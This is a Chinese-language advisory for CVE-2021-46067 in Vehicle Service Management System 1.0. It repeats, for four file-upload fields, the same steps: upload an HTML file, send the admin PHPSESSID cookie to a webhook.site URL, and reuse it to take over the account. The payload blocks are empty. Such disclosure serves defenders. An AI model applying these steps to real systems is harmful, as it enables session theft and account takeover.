CVE-2021-46067

漏洞标题：Vehicle Service Management System - “多个”Cookie 窃取导致完全账户接管

漏洞作者：SANU P.L

CVE：CVE-2021-46067

CVSS：9.8 严重

参考链接：

• https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
• https://nvd.nist.gov/vuln/detail/CVE-2021-46067
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46067

描述：

在 Vehicle Service Management System 1.0 中，攻击者可以窃取 Cookie，从而导致完全账户接管。

1. Vehicle Service Management System - “我的账户”（/admin/?page=user）

漏洞利用：

1. 登录管理面板 http://localhost/vehicle_service/admin
2. 导航到“我的账户”部分 http://localhost/vehicle_service/admin/?page=user
3. 生成 Webhook URL - https://webhook.site
4. 复制 Webhook 唯一 URL，并将其粘贴到以下 html 代码中。

载荷：

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 保存上述 html 代码，例如：Cookie Stealing.html
6. 在“我的账户”部分输入所有必填详细信息，并在“头像”（Avatar）字段中浏览选择 html 文件。
7. 点击“更新”按钮。
8. 在新标签页中打开头像图片，并检查 Webhook 状态。
9. 我们收到了请求，其中包含 PHPSESSID。
10. 复制 PHPSESSID 值，然后打开任意另一个浏览器。
11. 访问管理面板 http://localhost/vehicle_service/admin
12. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
13. 现在访问管理面板 http://localhost/vehicle_service/admin
14. 已成功登录账户。账户接管成功。

2. Vehicle Service Management System - “用户列表”（/admin/?page=user/manage_user）

漏洞利用：

1. 登录管理面板 http://localhost/vehicle_service/admin
2. 导航到“用户列表”部分，然后点击“新建”按钮。
3. 生成 Webhook URL - https://webhook.site
4. 复制 Webhook 唯一 URL，并将其粘贴到以下 html 代码中。

载荷：

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 保存上述 html 代码，例如：Cookie Stealing.html
6. 在“创建新用户”部分输入所有必填详细信息，并在“头像”（Avatar）字段中浏览选择 html 文件。
7. 点击“保存”按钮。
8. 在新标签页中打开头像图片，并检查 Webhook 状态。
9. 我们收到了请求，其中包含 PHPSESSID。
10. 复制 PHPSESSID 值，然后打开任意另一个浏览器。
11. 访问管理面板 http://localhost/vehicle_service/admin
12. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
13. 现在访问管理面板 http://localhost/vehicle_service/admin
14. 已成功登录账户。账户接管成功。

3. Vehicle Service Management System - “设置 - 系统徽标”（/admin/?page=system_info）

漏洞利用：

1. 登录管理面板 http://localhost/vehicle_service/admin
2. 导航到“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
3. 生成 Webhook URL - https://webhook.site
4. 复制 Webhook 唯一 URL，并将其粘贴到以下 html 代码中。

载荷：

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 保存上述 html 代码，例如：Cookie Stealing.html
6. 在“设置”部分输入所有必填详细信息，并在“系统徽标”（System Logo）字段中浏览选择 html 文件。
7. 点击“更新”按钮。
8. 在新标签页中打开系统徽标图片，并检查 Webhook 状态。
9. 我们收到了请求，其中包含 PHPSESSID。
10. 复制 PHPSESSID 值，然后打开任意另一个浏览器。
11. 访问管理面板 http://localhost/vehicle_service/admin
12. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
13. 现在访问管理面板 http://localhost/vehicle_service/admin
14. 已成功登录账户。账户接管成功。

4. Vehicle Service Management System - “设置 - 网站封面”（/admin/?page=system_info）

漏洞利用：

1. 登录管理面板 http://localhost/vehicle_service/admin
2. 导航到“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
3. 生成 Webhook URL - https://webhook.site
4. 复制 Webhook 唯一 URL，并将其粘贴到以下 html 代码中。

载荷：

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 保存上述 html 代码，例如：Cookie Stealing.html
6. 在“设置”部分输入所有必填详细信息，并在“网站封面”（Website Cover）字段中浏览选择 html 文件。
7. 点击“更新”按钮。
8. 在新标签页中打开网站封面图片，并检查 Webhook 状态。
9. 我们收到了请求，其中包含 PHPSESSID。
10. 复制 PHPSESSID 值，然后打开任意另一个浏览器。
11. 访问管理面板 http://localhost/vehicle_service/admin
12. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
13. 现在访问管理面板 http://localhost/vehicle_service/admin
14. 已成功登录账户。账户接管成功。

影响：

攻击者上传恶意 html 文件，该文件会重定向到第三方网站，Cookie 在请求中暴露。这会导致完全账户接管。

缓解措施：

建议验证文件上传功能，并在会话中执行二次检查。